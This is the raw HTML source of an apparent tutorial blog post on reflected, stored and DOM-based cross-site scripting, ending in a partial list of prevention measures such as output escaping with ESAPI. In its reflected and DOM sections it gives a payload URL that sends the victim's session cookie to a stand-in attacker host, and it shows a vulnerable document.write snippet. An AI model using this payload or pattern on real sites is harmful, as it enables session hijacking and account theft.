&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Maybe the user did something wrong.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;para&quot; id=&quot;1086-1&quot;&gt;
Stored XSS attacks can compromise a users system without any insecure action from her.&lt;/div&gt;
&lt;div class=&quot;para&quot; id=&quot;1086-1&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;para&quot; id=&quot;1086-1&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;But the attacker doesn&#39;t own my App.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
It&#39;s possible to own an App.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;Type of XSS attack&lt;/span&gt;s&lt;/div&gt;
&lt;div&gt;
&lt;h3 class=&quot;sect3-title&quot; id=&quot;1091-2&quot;&gt;



&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Reflected XSS Vulnerabilities&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Stored XSS Vulnerabilities&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;DOM-Based XSS Vulnerabilities&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/h3&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;h3 class=&quot;sect3-title&quot; id=&quot;1091-2&quot;&gt;



Reflected XSS Vulnerabilities&lt;/h3&gt;
&lt;/div&gt;
&lt;div&gt;
Reflected attacks are those where the injected code is reflected off the web server and are commonly delivered to victims via an e-mail message.&lt;/div&gt;
&lt;div&gt;
Let&#39;s say a web application has a dynamic page to display error messages.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
http://example.com/error.jsp?msg=An+error+occurred&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This works well for the application because the app can now control the error page by a parameter and use this page to display all the error messages in the application.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The problem&lt;/div&gt;
&lt;div&gt;
The msg parameter is not filtered or sanitized and the value is simply inserted in the error page. This allows an attacker to specify a malicious script in the message parameter and the web page will simply &quot;reflect&quot; it back.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
A benign example:&lt;/div&gt;
&lt;div&gt;
http://example.com/error.jsp?msg=&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This hardly seems&amp;nbsp;threatening, a user executes a script in his own browser, in his own session and for the same same web app. Right?&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
How to exploit the vulnerability?&lt;/div&gt;
&lt;div&gt;
Let&#39;s walk through a few steps to see how one can exploit this vulnerability.&lt;/div&gt;
&lt;div&gt;
A user logs into a web application and is issued a session id:&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;Set-Cookie: sessId=123&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;For now, let&#39;s assume ( somehow) the attacker feeds the below URL to the user:&lt;/span&gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;pre class=&quot;programlisting&quot; id=&quot;1099-5&quot;&gt;http://example.com/error.jsp?message=&amp;lt;script&amp;gt;var+i=new+Image
;+i.src=&quot;http://malicious.net/&quot;%2bdocument.cookie;&amp;lt;/script&amp;gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-5&quot;&gt;&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;The user clicks on the URL provided and the browser and the server response contains the Javascript the attacker embedded.&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;The users browser executes the Javascript which results in the current session token to be sent to the attacker&#39;s website identifed above as &quot;malicious.net&quot;.&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;The attacker is now free to hijack the users session and gain access to the users personal information or perform actions on his behalf.&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;b&gt;But wait...&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Since the attacker got the user to click on something extraneous. Why doesn&#39;t the attacker execute a malicious script directly from his site?&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;i&gt;because browsers segregate content based on the domain and cookies can only be accessed by the domain that issued them&lt;/i&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Someone might question the feasibility of this attack especially since it requires the user to &quot;click&quot; on something extraneous to activate this attack. Which user would do that?&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;i&gt;Well, &quot;Administrators&quot; in Apache Software foundation ended up doing that. Refer:&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;a class=&quot;url&quot; href=&quot;http://blogs.apache.org/infra/entry/apache_org_04_09_2010&quot; target=&quot;_top&quot;&gt;http://blogs.apache.org/infra/entry/apache_org_04_09_2010&lt;/a&gt;&lt;/i&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;i&gt;Well, t&lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;i&gt;he CEO of a webmail provider did. Refer &lt;a href=&quot;http://www.blogger.com/goog_1533597926&quot;&gt;http://blogs.zdnet.com/security/?p=3514&lt;/a&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;i style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;&lt;a href=&quot;http://blogs.zdnet.com/security/?p=3514&quot; target=&quot;_blank&quot;&gt;&amp;nbsp;&lt;/a&gt;&lt;/i&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;b&gt;Summary&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Even though an attacker&#39;s script&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;originated somewhere else it was able to gain access to the cookies issued&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;by example.com and that is why we call it&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;cross-site scripting.&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;/pre&gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;h3 class=&quot;sect3-title&quot; id=&quot;1102-2&quot; style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;



Stored XSS Vulnerabilities&lt;/h3&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Stored XSS attacks happen when data submitted by one user is stored in the application and then is displayed to other users without being filtered or sanitized.&lt;/span&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;b&gt;how to exploit the&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;The attacker will submit some data including malicious content to the web app which stores this data. For example:&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;A FAQ website accepts FAQ entries from end users and stores it in a web page that is available to the other users. An attacker can submit content with malicious javascript in the FAQ entry that ends up being stored in the website&#39;s content and is rendered every time someone visits the page.&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp; &amp;nbsp; A user ( or victim) ends up viewing the page allowing the &quot;stored&quot; malicious content to execute in his browser.&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Reflected attacks look more&amp;nbsp;glamorous&amp;nbsp;but Stored XSS attacks are generally more dangerous. Mostly because in the reflected attack, the attacker needs a user to visit a a crafted link.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;In the case of stored attack, the attacker exploits the vulnerability and simply waits for a user to visit the affected page.&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Another reason is because the reflected attack requires a session to exist before it can be hijacked immediately otherwise the user has to be coaxed into&amp;nbsp;log-in&amp;nbsp;in the application.&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: large;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;DOM-Based XSS Vulnerabilities
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Reflected and Stored are server side execution issues while DOM is client side. DOM-based XSS vulnerabilities appear more like reflected XSS bugs than the stored XSS ones. The attacker typically needs to&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;induce a user to access a crafted URL containing malicious code&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;.&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Let&#39;s walk through steps similar to the reflected XSS example:&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Let&#39;s say a web application has a dynamic page to display error messages.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
http://example.com/error.jsp?msg=An+error+occurred&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Let&#39;s assume the error.jsp has the following code:&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&amp;lt;script&amp;gt;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; var url = document.location;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; url = unescape(url);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; var message = url.substring(url.indexOf(&#39;message=&#39;) + 8, url&lt;/div&gt;
&lt;div&gt;
.length);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; document.write(message);&lt;/div&gt;
&lt;div&gt;
&amp;lt;/script&amp;gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Let&#39;s say the attacker feeds the below URL to the user:&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;pre class=&quot;programlisting&quot; id=&quot;1099-5&quot;&gt;http://example.com/error.jsp?message=&amp;lt;script&amp;gt;var+i=new+Image
;+i.src=&quot;http://malicious.net/&quot;%2bdocument.cookie;&amp;lt;/script&amp;gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-5&quot;&gt;&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;The user clicks on the URL provided and the browser and the client side code in error.jsp contains the malicious Javascript the attacker provided.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;The users browser executes the Javascript which results in the current session token to be sent to the attacker&#39;s website identifed above as &quot;malicious.net&quot;.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;The attacker is now free to hijack the users session and gain access to the users personal information or perform actions on his behalf.&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;how to identity and prevent XSS attacks&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Tools that can be used to scan &amp;nbsp;(but may offer limited analysis).&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Nessus, LAPSE,&lt;span style=&quot;color: red;&quot;&gt; &amp;lt;TODO&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;background-color: white; color: black; font-family: sans-serif; line-height: 19px; text-align: -webkit-auto;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Category:OWASP_Scrubbr&quot; target=&quot;_blank&quot;&gt;Scrubbr &lt;/a&gt;&lt;/b&gt;is a BSD-licensed database scanning tool that checks numerous database technologies for the presence of possible stored cross-site scripting attacks.&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;color: red; font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;span style=&quot;background-color: white; color: black; font-family: sans-serif; font-size: 13px; line-height: 19px; text-align: -webkit-auto;&quot;&gt;&amp;nbsp;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: small; line-height: normal; text-align: left;&quot;&gt;T&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;urn off HTTP TRACE support on all webservers.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Even when document.cookie is disabled or not supported on the client.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;An HTTP Trace call could be triggered which collects the user&#39;s cookie information from the server.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Both reflected and stored XSS can be addressed by performing the appropriate validation and escaping on the server-side.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Input validation by itself cannot prevent XSS. But it is definately useful and should be employed.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Use escaping as the primary defense.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;However unicode encoding is automatically decoded and provides no defense against attacks. It is important to be consistent and specify the encoding as UTF-8 just to avoid&amp;nbsp;misinterpretations&amp;nbsp;between charsets though.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Use an escaping library like ESAPI&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Simply encoding data is not enough. it is important to use the escape syntax for the part of the Html document we are putting the data into....&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Escape the untrusted data that goes in HTML element with HTML entity encoding&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;to prevent switching into any execution context&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Html elements including &amp;lt;body&amp;gt;, &amp;lt;div&amp;gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Example:&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;String encoded = ESAPI.encoder().encodeForHTML(request.getParameter( &quot;untrusted&quot; ) );&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Escape the untrusted data that goes in HTML attributes&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/pre&gt;
&lt;/pre&gt;
&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;programlisting&quot;&gt;&lt;pre class=&quot;programlisting&quot;&gt;&lt;pre class=&quot;programlisting&quot;&gt;&lt;div&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot; style=&quot;text-align: left;&quot;&gt;&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;This does not cover event handlers and other special attributes like src, href, style require special handling&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;String&amp;nbsp; encoded=ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( &quot;untrusted&quot;) );&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/pre&gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Escape the untrusted data that goes in HTML event handlers and script blocks&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;The only safe place to put untrusted data into this javascript code is inside a quoted &quot;data value&quot; because it requires a corresponding quote to break out of this execution context.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;there are some JavaScript functions that can never safely use untrusted data as input. For instance window.setInterval.&lt;/span&gt;&lt;/li&gt;
